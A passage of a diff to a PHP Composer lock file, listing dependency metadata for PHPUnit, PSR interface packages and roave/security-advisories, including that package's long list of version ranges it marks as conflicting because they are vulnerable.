"homepage": "https://github.com/sebastianbergmann/php-timer/", + "keywords": [ + "timer" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-timer/issues", + "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:16:10+00:00" + }, + { + "name": "phpunit/phpunit", + "version": "9.6.16", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/phpunit.git", + "reference": "3767b2c56ce02d01e3491046f33466a1ae60a37f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/3767b2c56ce02d01e3491046f33466a1ae60a37f", + "reference": "3767b2c56ce02d01e3491046f33466a1ae60a37f", + "shasum": "" + }, + "require": { + "doctrine/instantiator": "^1.3.1 || ^2", + "ext-dom": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "myclabs/deep-copy": "^1.10.1", + "phar-io/manifest": "^2.0.3", + "phar-io/version": "^3.0.2", + "php": ">=7.3", + "phpunit/php-code-coverage": "^9.2.28", + "phpunit/php-file-iterator": "^3.0.5", + "phpunit/php-invoker": "^3.1.1", + "phpunit/php-text-template": "^2.0.3", + "phpunit/php-timer": "^5.0.2", + "sebastian/cli-parser": "^1.0.1", + "sebastian/code-unit": "^1.0.6", + "sebastian/comparator": "^4.0.8", + "sebastian/diff": "^4.0.3", + "sebastian/environment": "^5.1.3", + "sebastian/exporter": "^4.0.5", + "sebastian/global-state": "^5.0.1", + "sebastian/object-enumerator": "^4.0.3", + "sebastian/resource-operations": "^3.0.3", + "sebastian/type": "^3.2", + "sebastian/version": "^3.0.2" + }, + "suggest": { + "ext-soap": "To be able to generate mocks based on WSDL files", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "bin": [ + "phpunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "9.6-dev" + } + }, + "autoload": { + "files": [ + "src/Framework/Assert/Functions.php" + ], + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "The PHP Unit Testing framework.", + "homepage": "https://phpunit.de/", + "keywords": [ + "phpunit", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/phpunit/issues", + "security": "https://github.com/sebastianbergmann/phpunit/security/policy", + "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.16" + }, + "funding": [ + { + "url": "https://phpunit.de/sponsors.html", + "type": "custom" + }, + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", + "type": "tidelift" + } + ], + "time": "2024-01-19T07:03:14+00:00" + }, + { + "name": "psr/event-dispatcher", + "version": "1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/event-dispatcher.git", + "reference": "dbefd12671e8a14ec7f180cab83036ed26714bb0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/event-dispatcher/zipball/dbefd12671e8a14ec7f180cab83036ed26714bb0", + "reference": "dbefd12671e8a14ec7f180cab83036ed26714bb0", + "shasum": "" + }, + "require": { + "php": ">=7.2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\EventDispatcher\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Standard interfaces for event handling.", + "keywords": [ + "events", + "psr", + "psr-14" + ], + "support": { + "issues": "https://github.com/php-fig/event-dispatcher/issues", + "source": "https://github.com/php-fig/event-dispatcher/tree/1.0.0" + }, + "time": "2019-01-08T18:20:26+00:00" + }, + { + "name": "psr/http-client", + "version": "1.0.3", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-client.git", + "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-client/zipball/bb5906edc1c324c9a05aa0873d40117941e5fa90", + "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90", + "shasum": "" + }, + "require": { + "php": "^7.0 || ^8.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Client\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP clients", + "homepage": "https://github.com/php-fig/http-client", + "keywords": [ + "http", + "http-client", + "psr", + "psr-18" + ], + "support": { + "source": "https://github.com/php-fig/http-client" + }, + "time": "2023-09-23T14:17:50+00:00" + }, + { + "name": "psr/http-factory", + "version": "1.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-factory.git", + "reference": "e616d01114759c4c489f93b099585439f795fe35" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-factory/zipball/e616d01114759c4c489f93b099585439f795fe35", + "reference": "e616d01114759c4c489f93b099585439f795fe35", + "shasum": "" + }, + "require": { + "php": ">=7.0.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interfaces for PSR-7 HTTP message factories", + "keywords": [ + "factory", + "http", + "message", + "psr", + "psr-17", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-factory/tree/1.0.2" + }, + "time": "2023-04-10T20:10:41+00:00" + }, + { + "name": "psr/http-message", + "version": "1.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-message.git", + "reference": "cb6ce4845ce34a8ad9e68117c10ee90a29919eba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-message/zipball/cb6ce4845ce34a8ad9e68117c10ee90a29919eba", + "reference": "cb6ce4845ce34a8ad9e68117c10ee90a29919eba", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP messages", + "homepage": "https://github.com/php-fig/http-message", + "keywords": [ + "http", + "http-message", + "psr", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-message/tree/1.1" + }, + "time": "2023-04-04T09:50:52+00:00" + }, + { + "name": "psr/log", + "version": "1.1.4", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/1.1.4" + }, + "time": "2021-05-03T11:20:27+00:00" + }, + { + "name": "ralouphie/getallheaders", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/ralouphie/getallheaders.git", + "reference": "120b605dfeb996808c31b6477290a714d356e822" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822", + "reference": "120b605dfeb996808c31b6477290a714d356e822", + "shasum": "" + }, + "require": { + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5 || ^6.5" + }, + "type": "library", + "autoload": { + "files": [ + "src/getallheaders.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ralph Khattar", + "email": "ralph.khattar@gmail.com" + } + ], + "description": "A polyfill for getallheaders.", + "support": { + "issues": "https://github.com/ralouphie/getallheaders/issues", + "source": "https://github.com/ralouphie/getallheaders/tree/develop" + }, + "time": "2019-03-08T08:55:37+00:00" + }, + { + "name": "roave/security-advisories", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/Roave/SecurityAdvisories.git", + "reference": "624324975ceed0b788160bdec5b7f22125d8de14" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Roave/SecurityAdvisories/zipball/624324975ceed0b788160bdec5b7f22125d8de14", + "reference": "624324975ceed0b788160bdec5b7f22125d8de14", + "shasum": "" + }, + "conflict": { + "3f/pygmentize": "<1.2", + "admidio/admidio": "<4.2.13", + "adodb/adodb-php": "<=5.20.20|>=5.21,<=5.21.3", + "aheinze/cockpit": "<2.2", + "aimeos/aimeos-typo3": "<19.10.12|>=20,<20.10.5", + "airesvsg/acf-to-rest-api": "<=3.1", + "akaunting/akaunting": "<2.1.13", + "akeneo/pim-community-dev": "<5.0.119|>=6,<6.0.53", + "alextselegidis/easyappointments": "<1.5", + "alterphp/easyadmin-extension-bundle": ">=1.2,<1.2.11|>=1.3,<1.3.1", + "amazing/media2click": ">=1,<1.3.3", + "amphp/artax": "<1.0.6|>=2,<2.0.6", + "amphp/http": "<1.0.1", + "amphp/http-client": ">=4,<4.4", + "anchorcms/anchor-cms": "<=0.12.7", + "andreapollastri/cipi": "<=3.1.15", + "andrewhaine/silverstripe-form-capture": ">=0.2,<=0.2.3|>=1,<1.0.2|>=2,<2.2.5", + "apache-solr-for-typo3/solr": "<2.8.3", + "apereo/phpcas": "<1.6", + "api-platform/core": ">=2.2,<2.2.10|>=2.3,<2.3.6|>=2.6,<2.7.10|>=3,<3.0.12|>=3.1,<3.1.3", + "appwrite/server-ce": "<=1.2.1", + "arc/web": "<3", + "area17/twill": "<1.2.5|>=2,<2.5.3", + "artesaos/seotools": "<0.17.2", + "asymmetricrypt/asymmetricrypt": "<9.9.99", + "athlon1600/php-proxy": "<=5.1", + "athlon1600/php-proxy-app": "<=3", + "austintoddj/canvas": "<=3.4.2", + "automad/automad": "<=1.10.9", + "awesome-support/awesome-support": "<=6.0.7", + "aws/aws-sdk-php": "<3.288.1", + "azuracast/azuracast": "<0.18.3", + "backdrop/backdrop": "<1.24.2", + "backpack/crud": "<3.4.9", + "bacula-web/bacula-web": "<8.0.0.0-RC2-dev", + "badaso/core": "<2.7", + "bagisto/bagisto": "<1.3.2", + "barrelstrength/sprout-base-email": "<1.2.7", + "barrelstrength/sprout-forms": "<3.9", + "barryvdh/laravel-translation-manager": "<0.6.2", + "barzahlen/barzahlen-php": "<2.0.1", + "baserproject/basercms": "<4.8", + "bassjobsen/bootstrap-3-typeahead": ">4.0.2", + "bigfork/silverstripe-form-capture": ">=3,<3.1.1", + "billz/raspap-webgui": "<2.9.5", + "bk2k/bootstrap-package": ">=7.1,<7.1.2|>=8,<8.0.8|>=9,<9.0.4|>=9.1,<9.1.3|>=10,<10.0.10|>=11,<11.0.3", + "bmarshall511/wordpress_zero_spam": "<5.2.13", + "bolt/bolt": "<3.7.2", + "bolt/core": "<=4.2", + "bottelet/flarepoint": "<2.2.1", + "bref/bref": "<2.1.13", + "brightlocal/phpwhois": "<=4.2.5", + "brotkrueml/codehighlight": "<2.7", + "brotkrueml/schema": "<1.13.1|>=2,<2.5.1", + "brotkrueml/typo3-matomo-integration": "<1.3.2", + "buddypress/buddypress": "<7.2.1", + "bugsnag/bugsnag-laravel": ">=2,<2.0.2", + "bytefury/crater": "<6.0.2", + "cachethq/cachet": "<2.5.1", + "cakephp/cakephp": "<3.10.3|>=4,<4.0.10|>=4.1,<4.1.4|>=4.2,<4.2.12|>=4.3,<4.3.11|>=4.4,<4.4.10", + "cakephp/database": ">=4.2,<4.2.12|>=4.3,<4.3.11|>=4.4,<4.4.10", + "cardgate/magento2": "<2.0.33", + "cardgate/woocommerce": "<=3.1.15", + "cart2quote/module-quotation": ">=4.1.6,<=4.4.5|>=5,<5.4.4", + "cartalyst/sentry": "<=2.1.6", + "catfan/medoo": "<1.7.5", + "cecil/cecil": "<7.47.1", + "centreon/centreon": "<22.10.0.0-beta1", + "cesnet/simplesamlphp-module-proxystatistics": "<3.1", + "chriskacerguis/codeigniter-restserver": "<=2.7.1", + "civicrm/civicrm-core": ">=4.2,<4.2.9|>=4.3,<4.3.3", + "ckeditor/ckeditor": "<4.17", + "cockpit-hq/cockpit": "<=2.6.3", + "codeception/codeception": "<3.1.3|>=4,<4.1.22", + "codeigniter/framework": "<3.1.9", + "codeigniter4/framework": "<=4.4.2", + "codeigniter4/shield": "<1.0.0.0-beta8", + "codiad/codiad": "<=2.8.4", + "composer/composer": "<1.10.27|>=2,<2.2.23|>=2.3,<2.7", + "concrete5/concrete5": "<9.2.5", + "concrete5/core": "<8.5.8|>=9,<9.1", + "contao-components/mediaelement": ">=2.14.2,<2.21.1", + "contao/contao": ">=4,<4.4.56|>=4.5,<4.9.40|>=4.10,<4.11.7|>=4.13,<4.13.21|>=5.1,<5.1.4", + "contao/core": ">=2,<3.5.39", + "contao/core-bundle": ">=3,<3.5.35|>=4,<4.9.42|>=4.10,<4.13.28|>=5,<5.1.10", + "contao/listing-bundle": ">=4,<4.4.8", + "contao/managed-edition": "<=1.5", + "corveda/phpsandbox": "<1.3.5", + "cosenary/instagram": "<=2.3", + "craftcms/cms": "<4.6.2", + "croogo/croogo": "<4", + "cuyz/valinor": "<0.12", + "czproject/git-php": "<4.0.3", + "darylldoyle/safe-svg": "<1.9.10", + "datadog/dd-trace": ">=0.30,<0.30.2", + "datatables/datatables": "<1.10.10", + "david-garcia/phpwhois": "<=4.3.1", + "dbrisinajumi/d2files": "<1", + "dcat/laravel-admin": "<=2.1.3.0-beta", + "derhansen/fe_change_pwd": "<2.0.5|>=3,<3.0.3", + "derhansen/sf_event_mgt": "<4.3.1|>=5,<5.1.1|>=7,<7.4", + "desperado/xml-bundle": "<=0.1.7", + "directmailteam/direct-mail": "<6.0.3|>=7,<7.0.3|>=8,<9.5.2", + "doctrine/annotations": "<1.2.7", + "doctrine/cache": ">=1,<1.3.2|>=1.4,<1.4.2", + "doctrine/common": "<2.4.3|>=2.5,<2.5.1", + "doctrine/dbal": ">=2,<2.0.8|>=2.1,<2.1.2|>=3,<3.1.4", + "doctrine/doctrine-bundle": "<1.5.2", + "doctrine/doctrine-module": "<=0.7.1", + "doctrine/mongodb-odm": "<1.0.2", + "doctrine/mongodb-odm-bundle": "<3.0.1", + "doctrine/orm": ">=2,<2.4.8|>=2.5,<2.5.1|>=2.8.3,<2.8.4", + "dolibarr/dolibarr": "<18.0.2", + "dompdf/dompdf": "<2.0.4", + "doublethreedigital/guest-entries": "<3.1.2", + "drupal/core": ">=6,<6.38|>=7,<7.96|>=8,<10.1.8|>=10.2,<10.2.2", + "drupal/drupal": ">=5,<5.11|>=6,<6.38|>=7,<7.80|>=8,<8.9.16|>=9,<9.1.12|>=9.2,<9.2.4", + "duncanmcclean/guest-entries": "<3.1.2", + "dweeves/magmi": "<=0.7.24", + "ec-cube/ec-cube": "<2.4.4", + "ecodev/newsletter": "<=4", + "ectouch/ectouch": "<=2.7.2", + "elefant/cms": "<2.0.7", + "elgg/elgg": "<3.3.24|>=4,<4.0.5", + "elijaa/phpmemcacheadmin": "<=1.3", + "encore/laravel-admin": "<=1.8.19", + "endroid/qr-code-bundle": "<3.4.2", + "enshrined/svg-sanitize": "<0.15", + "erusev/parsedown": "<1.7.2", + "ether/logs": "<3.0.4", + "evolutioncms/evolution": "<=3.2.3", + "exceedone/exment": "<4.4.3|>=5,<5.0.3", + "exceedone/laravel-admin": "<2.2.3|==3", + "ezsystems/demobundle": ">=5.4,<5.4.6.1-dev", + "ezsystems/ez-support-tools": ">=2.2,<2.2.3", + "ezsystems/ezdemo-ls-extension": ">=5.4,<5.4.2.1-dev", + "ezsystems/ezfind-ls": ">=5.3,<5.3.6.1-dev|>=5.4,<5.4.11.1-dev|>=2017.12,<2017.12.0.1-dev", + "ezsystems/ezplatform": "<=1.13.6|>=2,<=2.5.24", + "ezsystems/ezplatform-admin-ui": ">=1.3,<1.3.5|>=1.4,<1.4.6|>=1.5,<1.5.29|>=2.3,<2.3.26", + "ezsystems/ezplatform-admin-ui-assets": ">=4,<4.2.1|>=5,<5.0.1|>=5.1,<5.1.1", + "ezsystems/ezplatform-graphql": ">=1.0.0.0-RC1-dev,<1.0.13|>=2.0.0.0-beta1,<2.3.12", + "ezsystems/ezplatform-kernel": "<1.2.5.1-dev|>=1.3,<1.3.34", + "ezsystems/ezplatform-rest": ">=1.2,<=1.2.2|>=1.3,<1.3.8", + "ezsystems/ezplatform-richtext": ">=2.3,<2.3.7.1-dev", + "ezsystems/ezplatform-solr-search-engine": ">=1.7,<1.7.12|>=2,<2.0.2|>=3.3,<3.3.15", + "ezsystems/ezplatform-user": ">=1,<1.0.1", + "ezsystems/ezpublish-kernel": "<6.13.8.2-dev|>=7,<7.5.31", + "ezsystems/ezpublish-legacy": "<=2017.12.7.3|>=2018.6,<=2019.03.5.1", + "ezsystems/platform-ui-assets-bundle": ">=4.2,<4.2.3", + "ezsystems/repository-forms": ">=2.3,<2.3.2.1-dev|>=2.5,<2.5.15", + "ezyang/htmlpurifier": "<4.1.1", + "facade/ignition": "<1.16.15|>=2,<2.4.2|>=2.5,<2.5.2", + "facturascripts/facturascripts": "<=2022.08", + "feehi/cms": "<=2.1.1", + "feehi/feehicms": "<=2.1.1", + "fenom/fenom": "<=2.12.1", + "filegator/filegator": "<7.8", + "firebase/php-jwt": "<6", + "fixpunkt/fp-masterquiz": "<2.2.1|>=3,<3.5.2", + "fixpunkt/fp-newsletter": "<1.1.1|>=2,<2.1.2|>=2.2,<3.2.6", + "flarum/core": "<1.8.5", + "flarum/framework": "<1.8.5", + "flarum/mentions": "<1.6.3", + "flarum/sticky": ">=0.1.0.0-beta14,<=0.1.0.0-beta15", + "flarum/tags": "<=0.1.0.0-beta13", + "floriangaerber/magnesium": "<0.3.1", + "fluidtypo3/vhs": "<5.1.1", + "fof/byobu": ">=0.3.0.0-beta2,<1.1.7", + "fof/upload": "<1.2.3", + "foodcoopshop/foodcoopshop": ">=3.2,<3.6.1", + "fooman/tcpdf": "<6.2.22", + "forkcms/forkcms": "<5.11.1", + "fossar/tcpdf-parser": "<6.2.22", + "francoisjacquet/rosariosis": "<11", + "frappant/frp-form-answers": "<3.1.2|>=4,<4.0.2", + "friendsofsymfony/oauth2-php": "<1.3", + "friendsofsymfony/rest-bundle": ">=1.2,<1.2.2", + "friendsofsymfony/user-bundle": ">=1.2,<1.3.5", + "friendsoftypo3/mediace": ">=7.6.2,<7.6.5", + "friendsoftypo3/openid": ">=4.5,<4.5.31|>=4.7,<4.7.16|>=6,<6.0.11|>=6.1,<6.1.6", + "froala/wysiwyg-editor": "<3.2.7|>=4.0.1,<=4.1.1", + "froxlor/froxlor": "<=2.1.1", + "fuel/core": "<1.8.1", + "funadmin/funadmin": "<=3.2|>=3.3.2,<=3.3.3", + "gaoming13/wechat-php-sdk": "<=1.10.2", + "genix/cms": "<=1.1.11", + "getgrav/grav": "<1.7.44", + "getkirby/cms": "<3.5.8.3-dev|>=3.6,<3.6.6.3-dev|>=3.7,<3.7.5.2-dev|>=3.8,<3.8.4.1-dev|>=3.9,<3.9.6", + "getkirby/kirby": "<=2.5.12", + "getkirby/panel": "<2.5.14", + "getkirby/starterkit": "<=3.7.0.2", + "gilacms/gila": "<=1.15.4", + "gleez/cms": "<=1.2|==2", + "globalpayments/php-sdk": "<2", + "gogentooss/samlbase": "<1.2.7", + "google/protobuf": "<3.15", + "gos/web-socket-bundle": "<1.10.4|>=2,<2.6.1|>=3,<3.3", + "gree/jose": "<2.2.1", + "gregwar/rst": "<1.0.3", + "grumpydictator/firefly-iii": "<6.1.7", + "gugoan/economizzer": "<=0.9.0.0-beta1", + "guzzlehttp/guzzle": "<6.5.8|>=7,<7.4.5", + "guzzlehttp/psr7": "<1.9.1|>=2,<2.4.5", + "haffner/jh_captcha": "<=2.1.3|>=3,<=3.0.2", + "harvesthq/chosen": "<1.8.7", + "helloxz/imgurl": "<=2.31", + "hhxsv5/laravel-s": "<3.7.36", + "hillelcoren/invoice-ninja": "<5.3.35", + "himiklab/yii2-jqgrid-widget": "<1.0.8", + "hjue/justwriting": "<=1", + "hov/jobfair": "<1.0.13|>=2,<2.0.2", + "httpsoft/http-message": "<1.0.12", + "hyn/multi-tenant": ">=5.6,<5.7.2", + "ibexa/admin-ui": ">=4.2,<4.2.3", + "ibexa/core": ">=4,<4.0.7|>=4.1,<4.1.4|>=4.2,<4.2.3|>=4.5,<4.5.4", + "ibexa/graphql": ">=2.5,<2.5.31|>=3.3,<3.3.28|>=4.2,<4.2.3", + "ibexa/post-install": "<=1.0.4", + "ibexa/solr": ">=4.5,<4.5.4", + "ibexa/user": ">=4,<4.4.3", + "icecoder/icecoder": "<=8.1", + "idno/known": "<=1.3.1", + "illuminate/auth": "<5.5.10", + "illuminate/cookie": ">=4,<=4.0.11|>=4.1,<=4.1.99999|>=4.2,<=4.2.99999|>=5,<=5.0.99999|>=5.1,<=5.1.99999|>=5.2,<=5.2.99999|>=5.3,<=5.3.99999|>=5.4,<=5.4.99999|>=5.5,<=5.5.49|>=5.6,<=5.6.99999|>=5.7,<=5.7.99999|>=5.8,<=5.8.99999|>=6,<6.18.31|>=7,<7.22.4", + "illuminate/database": "<6.20.26|>=7,<7.30.5|>=8,<8.40", + "illuminate/encryption": ">=4,<=4.0.11|>=4.1,<=4.1.31|>=4.2,<=4.2.22|>=5,<=5.0.35|>=5.1,<=5.1.46|>=5.2,<=5.2.45|>=5.3,<=5.3.31|>=5.4,<=5.4.36|>=5.5,<5.5.40|>=5.6,<5.6.15", + "illuminate/view": "<6.20.42|>=7,<7.30.6|>=8,<8.75", + "impresscms/impresscms": "<=1.4.5", + "impresspages/impresspages": "<=1.0.12", + "in2code/femanager": "<5.5.3|>=6,<6.3.4|>=7,<7.2.3", + "in2code/ipandlanguageredirect": "<5.1.2", + "in2code/lux": "<17.6.1|>=18,<24.0.2", + "innologi/typo3-appointments": "<2.0.6", + "intelliants/subrion": "<4.2.2", + "islandora/islandora": ">=2,<2.4.1", + "ivankristianto/phpwhois": "<=4.3", + "jackalope/jackalope-doctrine-dbal": "<1.7.4", + "james-heinrich/getid3": "<1.9.21", + "james-heinrich/phpthumb": "<1.7.12", + "jasig/phpcas": "<1.3.3", + "jcbrand/converse.js": "<3.3.3", + "joomla/application": "<1.0.13", + "joomla/archive": "<1.1.12|>=2,<2.0.1", + "joomla/filesystem": "<1.6.2|>=2,<2.0.1", + "joomla/filter": "<1.4.4|>=2,<2.0.1", + "joomla/framework": "<1.5.7|>=2.5.4,<=3.8.12", + "joomla/input": ">=2,<2.0.2", + "joomla/joomla-cms": ">=2.5,<3.9.12", + "joomla/session": "<1.3.1", + "joyqi/hyper-down": "<=2.4.27", + "jsdecena/laracom": "<2.0.9", + "jsmitty12/phpwhois": "<5.1", + "juzaweb/cms": "<=3.4", + "kazist/phpwhois": "<=4.2.6", + "kelvinmo/simplexrd": "<3.1.1", + "kevinpapst/kimai2": "<1.16.7", + "khodakhah/nodcms": "<=3", + "kimai/kimai": "<2.1", + "kitodo/presentation": "<3.2.3|>=3.3,<3.3.4", + "klaviyo/magento2-extension": ">=1,<3", + "knplabs/knp-snappy": "<=1.4.2", + "kohana/core": "<3.3.3", + "krayin/laravel-crm": "<1.2.2", + "kreait/firebase-php": ">=3.2,<3.8.1", + "la-haute-societe/tcpdf": "<6.2.22", + "laminas/laminas-diactoros": "<2.18.1|==2.19|==2.20|==2.21|==2.22|==2.23|>=2.24,<2.24.2|>=2.25,<2.25.2", + "laminas/laminas-form": "<2.17.1|>=3,<3.0.2|>=3.1,<3.1.1", + "laminas/laminas-http": "<2.14.2", + "laravel/fortify": "<1.11.1", + "laravel/framework": "<6.20.44|>=7,<7.30.6|>=8,<8.75", + "laravel/socialite": ">=1,<1.0.99|>=2,<2.0.10", + "latte/latte": "<2.10.8", + "lavalite/cms": "<=9", + "lcobucci/jwt": ">=3.4,<3.4.6|>=4,<4.0.4|>=4.1,<4.1.5", + "league/commonmark": "<0.18.3", + "league/flysystem": "<1.1.4|>=2,<2.1.1", + "league/oauth2-server": ">=8.3.2,<8.4.2|>=8.5,<8.5.3", + "lexik/jwt-authentication-bundle": "<2.10.7|>=2.11,<2.11.3", + "librenms/librenms": "<2017.08.18", + "liftkit/database": "<2.13.2", + "limesurvey/limesurvey": "<3.27.19", + "livehelperchat/livehelperchat": "<=3.91", + "livewire/livewire": ">2.2.4,<2.2.6", + "lms/routes": "<2.1.1", + "localizationteam/l10nmgr": "<7.4|>=8,<8.7|>=9,<9.2", + "luyadev/yii-helpers": "<1.2.1", + "magento/community-edition": "<2.4.3.0-patch3|>=2.4.4,<2.4.5", + "magento/core": "<=1.9.4.5", + "magento/magento1ce": "<1.9.4.3-dev", + "magento/magento1ee": ">=1,<1.14.4.3-dev", + "magento/product-community-edition": ">=2,<2.2.10|>=2.3,<2.3.2.0-patch2", + "magneto/core": "<1.9.4.4-dev", + "maikuolan/phpmussel": ">=1,<1.6", + "mainwp/mainwp": "<=4.4.3.3", + "mantisbt/mantisbt": "<=2.25.7", + "marcwillmann/turn": "<0.3.3", + "matyhtf/framework": "<3.0.6", + "mautic/core": "<4.3", + "mediawiki/core": "<1.36.2", + "mediawiki/matomo": "<2.4.3", + "mediawiki/semantic-media-wiki": "<4.0.2", + "melisplatform/melis-asset-manager": "<5.0.1", + "melisplatform/melis-cms": "<5.0.1", + "melisplatform/melis-front": "<5.0.1", + "mezzio/mezzio-swoole": "<3.7|>=4,<4.3", + "mgallegos/laravel-jqgrid": "<=1.3", + "microsoft/microsoft-graph": ">=1.16,<1.109.1|>=2,<2.0.1", + "microsoft/microsoft-graph-beta": "<2.0.1", + "microsoft/microsoft-graph-core": "<2.0.2", + "microweber/microweber": "<=2.0.4", + "miniorange/miniorange-saml": "<1.4.3", + "mittwald/typo3_forum": "<1.2.1", + "mobiledetect/mobiledetectlib": "<2.8.32", + "modx/revolution": "<=2.8.3.0-patch", + "mojo42/jirafeau": "<4.4", + "mongodb/mongodb": ">=1,<1.9.2", + "monolog/monolog": ">=1.8,<1.12", + "moodle/moodle": "<4.3.0.0-RC2-dev", + "mos/cimage": "<0.7.19", + "movim/moxl": ">=0.8,<=0.10", + "mpdf/mpdf": "<=7.1.7", + "munkireport/comment": "<4.1", + "munkireport/managedinstalls": "<2.6", + "munkireport/munkireport": ">=2.5.3,<5.6.3", + "mustache/mustache": ">=2,<2.14.1", + "namshi/jose": "<2.2", + "neoan3-apps/template": "<1.1.1", + "neorazorx/facturascripts": "<2022.04", + "neos/flow": ">=1,<1.0.4|>=1.1,<1.1.1|>=2,<2.0.1|>=2.3,<2.3.16|>=3,<3.0.12|>=3.1,<3.1.10|>=3.2,<3.2.13|>=3.3,<3.3.13|>=4,<4.0.6", + "neos/form": ">=1.2,<4.3.3|>=5,<5.0.9|>=5.1,<5.1.3", + "neos/media-browser": "<7.3.19|>=8,<8.0.16|>=8.1,<8.1.11|>=8.2,<8.2.11|>=8.3,<8.3.9", + "neos/neos": ">=1.1,<1.1.3|>=1.2,<1.2.13|>=2,<2.0.4|>=2.3,<2.9.99|>=3,<3.0.20|>=3.1,<3.1.18|>=3.2,<3.2.14|>=3.3,<5.3.10|>=7,<7.0.9|>=7.1,<7.1.7|>=7.2,<7.2.6|>=7.3,<7.3.4|>=8,<8.0.2", + "neos/swiftmailer": ">=4.1,<4.1.99|>=5.4,<5.4.5", + "netgen/tagsbundle": ">=3.4,<3.4.11|>=4,<4.0.15", + "nette/application": ">=2,<2.0.19|>=2.1,<2.1.13|>=2.2,<2.2.10|>=2.3,<2.3.14|>=2.4,<2.4.16|>=3,<3.0.6", + "nette/nette": ">=2,<2.0.19|>=2.1,<2.1.13", + "nilsteampassnet/teampass": "<3.0.10", + "nonfiction/nterchange": "<4.1.1", + "notrinos/notrinos-erp": "<=0.7", + "noumo/easyii": "<=0.9", + "nukeviet/nukeviet": "<4.5.02", + "nyholm/psr7": "<1.6.1", + "nystudio107/craft-seomatic": "<3.4.12", + "nzo/url-encryptor-bundle": ">=4,<4.3.2|>=5,<5.0.1", + "october/backend": "<1.1.2", + "october/cms": "<1.0.469|==1.0.469|==1.0.471|==1.1.1", + "october/october": "<=3.4.4", + "october/rain": "<1.0.472|>=1.1,<1.1.2", + "october/system": "<1.0.476|>=1.1,<1.1.12|>=2,<2.2.34|>=3,<3.5.2", + "omeka/omeka-s": 